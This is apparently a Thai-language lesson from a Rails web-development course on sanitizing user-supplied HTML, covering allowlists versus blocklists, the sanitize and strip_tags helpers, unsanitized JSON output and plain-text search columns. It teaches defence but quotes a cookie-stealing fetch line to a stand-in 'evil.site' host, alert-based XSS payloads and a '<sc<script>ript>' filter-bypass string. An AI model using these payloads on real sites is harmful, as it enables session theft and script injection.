ที่ไม่เหมือนกัน: ใบสั่งในร้านจริงมีแค่คำสั่งแต่ง · ใบสั่ง Markdown แอบแนบของจริง (HTML ดิบ) มาด้วยได้ ตามที่ลองเมื่อกี้ — ต้องมีคนตรวจตอนจัดจานเหมือนเดิม
ปัญหาที่คนลืมคิด: การค้นหา · ถ้าเก็บ HTML แล้วค้นด้วยคำ คำว่า strong · div ที่เป็นชื่อแท็กจะปนมาด้วย · ลองค้นคำว่า strong (ผลจริง):
wongnok-blog-all-in-one(dev):002> Post.where("description ILIKE ?", "%strong%").pluck(:id)
Post Pluck (2.0ms) SELECT "posts"."id" FROM "posts" WHERE (description ILIKE '%strong%') /*application='WongnokBlogAllInOne'*/
=> [31]
wongnok-blog-all-in-one(dev):003> helper.strip_tags(Post.find(31).description)
Post Load (1.2ms) SELECT "posts".* FROM "posts" WHERE "posts"."id" = 31 LIMIT 1 /*application='WongnokBlogAllInOne'*/
=> "น้ำแกงเข้มข้น ดูร้านอื่นที่หน้ารวม"
ILIKE ?+"%strong%"— คำสั่ง SQL "ค้นข้อความที่มีคำนี้อยู่ตรงไหนก็ได้ ไม่สนตัวพิมพ์เล็กใหญ่" (%= อะไรก็ได้กี่ตัวก็ได้) ·pluck(:id)= เอาแค่ id (บท 113)[31]— เจอบทความ 31 ทั้งที่บนจอไม่มีคำว่า strong สักตัว · มันไปเจอในชื่อแท็กstrip_tags— helper ที่ถอดแท็กทิ้งทั้งหมด เหลือแค่ตัวหนังสือ (plain text) · ของแบบนี้แหละที่ควรค้น
ทางแก้ของสไลด์: เก็บอีกช่องเป็นตัวหนังสือล้วน (plain_text) แล้วค้นจากช่องนั้น · บท 137 ทำจริง
- Markdown · MDX
- Markdown = เขียนรูปแบบด้วยสัญลักษณ์ (
**หนา**·# หัวข้อ) · MDX = Markdown ที่ใส่ component ของ React ได้ แปลงตอน build · ถาม senior ได้ว่า "เนื้อหานี้จะถูกใช้นอกเว็บไหม ถ้าใช่ เก็บ Markdown ดีกว่าหรือเปล่า" - plain text column (สำหรับค้นหา)
- ช่องที่เก็บเนื้อหาแบบถอดแท็กแล้ว ไว้ค้นหา/ตัดเป็นคำโปรย โดยไม่มีชื่อแท็กปน · พิมพ์บอก AI ได้ว่า "store a plain-text copy of the rich text body and search that column, not the HTML"
ต่อไป: ของสำเร็จรูปที่มากับ Rails
ที่ทำในบทนี้เป็นการประกอบเองด้วยมือเพื่อให้เห็นกลไก · ของจริงยังขาด: ช่องพิมพ์แบบมีปุ่ม B (ตอนนี้ต้องพิมพ์แท็กเอง) · ช่อง plain text ไว้ค้นหา · รายการแท็กกลางที่ใช้ทั้งแอป · Rails มีของสำเร็จรูปชื่อ Action Text ที่ทำทั้งหมดนี้ และตรวจตอนโชว์ให้เองแบบที่เพิ่งเรียน — บท 137 ติดตั้งจริง
🎯 ภารกิจ — ทายก่อนว่ากฎ 4 แท็กจะถอดอะไรทิ้ง (~8 นาที)
ทำต่อจากที่เดิม: _post.html.erb ยังเป็น sanitize … tags: %w[p a strong em], attributes: %w[href] และบทความ 31 ยังอยู่
- ใน console เปลี่ยนคำอธิบายของบทความล่าสุดเป็นข้อความใหม่ที่มีหัวข้อ
<h2>· ตัวเอียง<em>· และลิงก์ที่แอบมีonclick:
(wongnok-blog-all-in-one(dev):001> post = Post.last wongnok-blog-all-in-one(dev):002> post.update!(description: '<h2>เมนูแนะนำ</h2>ข้าวซอย<em>ไก่</em> <a href="/posts" onclick="alert(1)">ดูร้านอื่น</a>')Post.last= บทความที่ id มากที่สุด = ชิ้นที่เราสร้าง ·update!= แก้แล้วบันทึก บท 110) - ก่อนรัน curl เขียนลงกระดาษ: แท็กไหนรอด · แท็กไหนหายแต่ตัวหนังสือยังอยู่ · ช่องไหนในแท็กถูกตัด
- รัน
curl -s localhost:3000/posts/31 | grep "leading-relaxed"แล้วเทียบกับที่ทาย - เปิดหน้ารวม
http://localhost:3000/postsดูการ์ดของบทความนี้ด้วย
ก่อนกดเฉลย: <h2> · <em> · onclick แต่ละตัวเป็นยังไง และการ์ดในหน้ารวมเห็นอะไร?
ผลจริง:
$ curl -s localhost:3000/posts/31 | grep "leading-relaxed"
</turbo-frame> <p class="leading-relaxed whitespace-pre-line">เมนูแนะนำข้าวซอย<em>ไก่</em> <a href="/posts">ดูร้านอื่น</a></p>
<h2>ไม่อยู่ในรายการ → แท็กหาย แต่คำว่า "เมนูแนะนำ" ยังอยู่ ไปติดกับ "ข้าวซอย" (ไม่มีหัวข้อใหญ่แล้ว)<em>อยู่ในรายการ → รอด · บนจอ "ไก่" เป็นตัวเอียง<a>รอดพร้อมhref·onclickถูกตัด เพราะattributes:ของเรามีแค่href
การ์ดในหน้ารวมใช้อีกบรรทัด (truncate(post.description, …) ตัดให้สั้น) ซึ่งเราไม่ได้แก้ — ผลจริง:
$ curl -s localhost:3000/posts | grep "เมนูแนะนำ"
<p class="text-base-content/80"><h2>เมนูแนะนำ</h2>ข้าวซอย<em>ไก่</em> <a href="/posts"...</p>
ถ้าเจออาการนี้ แปลว่า…
- การ์ดหน้ารวมเห็นแท็กเป็นตัวหนังสือ
<h2>เมนูแนะนำ…— ปกติ · บรรทัดนั้นยัง escape ทั้งหมด (ปลอดภัย แต่น่าเกลียด) · บท 137 แก้ด้วย plain text - ลิงก์ "ดูร้านอื่น" ไม่ขีดเส้นใต้ ไม่เป็นสีฟ้า — Tailwind ล้างหน้าตาเริ่มต้นของเบราว์เซอร์ทิ้งทั้งเว็บ (preflight · บท 72) · แท็ก
<a href>ยังอยู่และกดได้ - เห็น
<h2>ในหน้าบทความด้วย — ไฟล์_post.html.erbถูกคืนไปแล้ว หรือไปแก้บรรทัดtruncateแทน · ต้องแก้บรรทัดใน<% if full %> - curl ได้ผลว่าง ไม่มีบรรทัดไหนขึ้น — id ของคุณไม่ใช่ 31 · ดูเลขด้วย
post.idใน console แล้วเปลี่ยน URL
ทดสอบความเข้าใจ
ทีม A กรอง rich text ด้วย allowlist แต่ลืมใส่ em · ทีม B ใช้ blocklist (ห้าม script กับ iframe) แต่ลืม onerror · ข้อไหนถูก?
ตัวเลือกที่ 3 ถูก — allowlist ลืมของ = ของนั้นถูกถอดทิ้ง (แบบที่ <h2> หายในภารกิจ) feature ขาด เห็นเอง · blocklist ลืมของ = ของนั้นผ่าน (แบบที่ <img onerror> ผ่าน gsub ไปทั้งก้อน) คนร้ายเห็นก่อน
ตัวเลือกที่ 1 — ลืมเท่ากันแต่ผลไม่เท่ากัน คือหัวใจของหัวข้อนี้ ·
ตัวเลือกที่ 2 — แท็กนอกรายการถูกถอดทิ้ง ไม่ได้หลุดออกไป เหลือแค่ตัวหนังสือ ·
ตัวเลือกที่ 4 — "ที่รู้จัก" คือปัญหา · ลองแล้วว่าแค่ <sc<script>ript> ก็หลบตัวกรองแบบลบคำได้
จุดที่ต้องจำ: allowlist ผิด = feature ขาด (เราเห็น) · blocklist ผิด = ระบบถูกเจาะ (เราไม่เห็น) → เลือก allowlist เสมอ
มีบทความเก่า 500 ชิ้นบันทึกไว้แล้ว บางชิ้นมี <img src="x" onerror="…"> · วันนี้เราเพิ่ม sanitize ใน view · เกิดอะไรกับบทความเก่า?
ตัวเลือกที่ 1 ถูก — sanitize กรองระหว่างทางออกไปหน้าเว็บทุกครั้ง · เราเห็นแล้วว่าหน้าเว็บไม่มี onerror แต่ Post.find(31).description ยังมีครบ
ตัวเลือกที่ 2 — ไม่ต้อง migrate นี่คือข้อดีของการตรวจตอนโชว์ · ตัวเลือกที่ 3 — sanitize ไม่เคยเขียนกลับลงฐานข้อมูล · ตัวเลือกที่ 4 — คือผลของการกรองตอนบันทึก ซึ่ง Rails ไม่ได้ทำ
จุดที่ต้องจำ: ตรวจตอนโชว์ = แก้กฎแล้วของเก่าปลอดภัยทันที · แต่ของสกปรกยังอยู่ใน DB
ทีมมือถือดึง /posts/31.json แล้วเอา description ไปวางเป็น HTML บนจอ · ผู้ใช้แอปโดน alert ทั้งที่หน้าเว็บของเรา sanitize แล้ว · เพราะอะไร?
ตัวเลือกที่ 4 ถูก — ผลจริงจาก curl: JSON มี onerror=\"alert(1)\" ครบ · show.json.jbuilder ไม่ผ่าน _post.html.erb ที่เราใส่ sanitize
ตัวเลือกที่ 1 — JSON แปลง < เป็น \u003c จริง แต่นั่นเป็นแค่วิธีเขียน อ่านกลับมาก็ได้ < เหมือนเดิม (ลองด้วย JSON.parse แล้ว) · ปัญหาไม่ได้อยู่ที่การแปลงตัวอักษร ·
ตัวเลือกที่ 2 — sanitize ไม่เคยเขียนลง DB · ของดิบอยู่ในนั้นมาตั้งแต่บันทึก ·
ตัวเลือกที่ 3 — cookie ไม่เกี่ยว ทั้งสองทางอ่านแถวเดียวกันในฐานข้อมูล
จุดที่ต้องจำ: จุดที่ปลอดภัยคือ "render ผ่าน Rails view" เท่านั้น · ทุกทางส่งออกอื่นต้องกรองเอง
ช่องค้นหาของเว็บใช้ description ILIKE '%strong%' แล้วเจอบทความที่บนจอไม่มีคำนี้เลย · แก้แบบไหนตรงจุดที่สุด?
ตัวเลือกที่ 2 ถูก — คำว่า strong มาจากชื่อแท็ก · strip_tags ให้ "น้ำแกงเข้มข้น ดูร้านอื่นที่หน้ารวม" ที่ไม่มีแท็กปน · เก็บแบบนี้ไว้อีกช่องแล้วค้นจากช่องนั้น (บท 137)
ตัวเลือกที่ 1 — Markdown ก็มีสัญลักษณ์ปน (** · [ ](…)) และยังแทรก HTML ดิบได้ด้วย ·
ตัวเลือกที่ 3 — ปัญหาไม่ได้อยู่ที่ผู้ใช้ แท็ก <strong> มาจากการกดปุ่ม B เอง ·
ตัวเลือกที่ 4 — sanitize เป็น helper ของ Rails ทำงานใน Ruby ตอนโชว์ ไม่ใช่คำสั่งของฐานข้อมูล
จุดที่ต้องจำ: เก็บ HTML = ต้องมีช่อง plain text แยกไว้ค้นหา
🧹 ก่อนไปบทถัดไป: คืนไฟล์ git restore app/views/posts/_post.html.erb (git status --short ต้องว่าง) · แล้วลบบทความทดลองใน console (ข้อมูลใน DB ไม่ถูก git restore คืนให้):
wongnok-blog-all-in-one(dev):001> Post.last.destroy
Post Load (0.5ms) SELECT "posts".* FROM "posts" ORDER BY "posts"."id" DESC LIMIT 1 /*application='WongnokBlogAllInOne'*/
TRANSACTION (0.3ms) BEGIN /*application='WongnokBlogAllInOne'*/
Comment Load (0.4ms) SELECT "comments".* FROM "comments" WHERE "comments"."post_id" = 31 /*application='WongnokBlogAllInOne'*/
Post Destroy (0.4ms) DELETE FROM "posts" WHERE "posts"."id" = 31 /*application='WongnokBlogAllInOne'*/
TRANSACTION (0.7ms) COMMIT /*application='WongnokBlogAllInOne'*/
=>
#<Post:0x0000000120a5c0f0
id: 31,
title: "ข้าวซอยร้านนี้ <strong>อร่อย</strong>",
description: "<h2>เมนูแนะนำ</h2>ข้าวซอย<em>ไก่</em> <a href=\"/po...",
category_id: 1,
created_at: "2026-11-10 09:47:41.008443000 +0700",
updated_at: "2026-11-10 09:49:42.768802000 +0700">
wongnok-blog-all-in-one(dev):002> Post.count
Post Count (0.9ms) SELECT COUNT(*) FROM "posts" /*application='WongnokBlogAllInOne'*/
=> 30
Comment Load = Rails ไล่ลบคอมเมนต์ของบทความนี้ก่อน (dependent: :destroy ใน model) · เห็น title: "ข้าวซอยร้านนี้ …" = ลบถูกชิ้น · กลับมา 30 ชิ้นเท่าเดิม
ถ้าเปิดสไลด์ดูประกอบ
| หน้า | สไลด์เขียน | ของจริง (Rails 8.1.4 · แอปของคอร์ส) | ต้องสนใจไหม |
|---|---|---|---|
| 1–2 | ป้าย "DAY 3" · "Part 2 · 3 บล็อค" · "ที่ทำไปตอน Part 1" | ชุดนี้คือครึ่งหลังของ Day 3 ที่ย้ายมาเรียนวันนี้ · "Part 1" ในสไลด์ = บล็อก A B C ของ Day 3 · เว็บนี้เรียกชุดนี้ว่า Day 4 Part 1 | ไม่ต้อง |
| 4 | ตัวอย่าง fetch('https://evil.site/c?d=' + document.cookie) "ส่ง session ของตัวเองให้คนร้าย" | cookie session ของแอปเราติดป้าย httponly (= JavaScript ในหน้าอ่าน cookie นี้ไม่ได้ · ดูจาก curl -D - ที่ให้ curl โชว์หัวของคำตอบด้วย) → ใน Chrome document.cookie ได้ "" · แต่อย่าวางใจ MDN อธิบายว่าโค้ดที่ได้รันในหน้าเราทำได้ทุกอย่างที่โค้ดของเว็บเราทำได้ รวมถึงยิงคำขอในนามผู้ใช้ | ไม่ต้อง — และห้ามลองส่งข้อมูลไปเว็บข้างนอก |
| 4 | "บล็อค G — บอกว่าไฟล์ชนิดไหนรับได้" | เรื่องตรวจชนิดไฟล์อยู่บล็อก D (บท 140) · บล็อก G คือ login (Part 2) | ไม่ต้อง |
| 6 | โค้ด config/initializers/action_text.rb · ActionText::ContentHelper.allowed_tags += [...] | เรื่องของบท 137 · ในแอปตอนนี้ค่านี้เป็น nil (ลองแล้ว) บรรทัดนี้จึงพังด้วย undefined method '+' for nil · อย่าพิมพ์ตามในบทนี้ | สนใจ ถ้าจะพิมพ์ตาม |
| 7 | Markdown "ข้อมูลสะอาดโดยธรรมชาติ ไม่มีแท็กให้กลัว" | ตัวแปลง Markdown ที่มากับ Ruby (RDoc) ปล่อย <script> ดิบผ่านออกมา (ลองแล้ว) · ผลที่แปลงแล้วต้อง sanitize เหมือน HTML | สนใจ ถ้าเลือก Markdown |
อ้างอิง
- Rails Guides — Securing Rails Applications § Permitted Lists Versus Restricted Lists —
อ่านหัวข้อนี้หัวข้อเดียว (สั้น) · ที่มาของตัวอย่าง
"<sc<script>ript>".gsub("<script>", "") - Rails Guides — Securing Rails Applications § HTML/JavaScript Injection Countermeasures —
อ่านสองย่อหน้าแรก: ทำไม Rails เลิกใช้ blocklist และตัวอย่าง
sanitize(…, tags:, attributes:) - Rails API — SanitizeHelper#sanitize —
ตัวอย่าง option
tags:attributes:· อ่านกล่องคำเตือนเรื่องการเพิ่มแท็กลงรายการ · ถัดลงไปมีstrip_tags - MDN — Cross-site scripting (XSS) § Sanitization —
ใช้ตัวอย่าง
<img src="x" onerror>ชิ้นเดียวกับบทนี้ · อ่านแค่หัวข้อ Sanitization · ส่วน Overview ด้านบนอธิบายว่าโค้ดของคนร้ายทำอะไรได้บ้าง - OWASP — Input Validation Cheat Sheet § Allowlist vs Denylist — ย่อหน้าเดียว · คำแนะนำมาตรฐานของวงการว่าให้นิยามสิ่งที่รับ แทนการไล่จับของร้าย
- Rails Guides — Action Text Overview § What is Action Text? — อ่านล่วงหน้าสำหรับบท 137 · อ่านแค่ย่อหน้าแรก
ติดตรงไหน หรือผลของคุณต่างจากในบท — ก็อปผลจริงทั้งก้อนไปถาม AI หรือเพื่อนได้เลย โดยบอกว่ามาจากบท 136 ขั้นไหน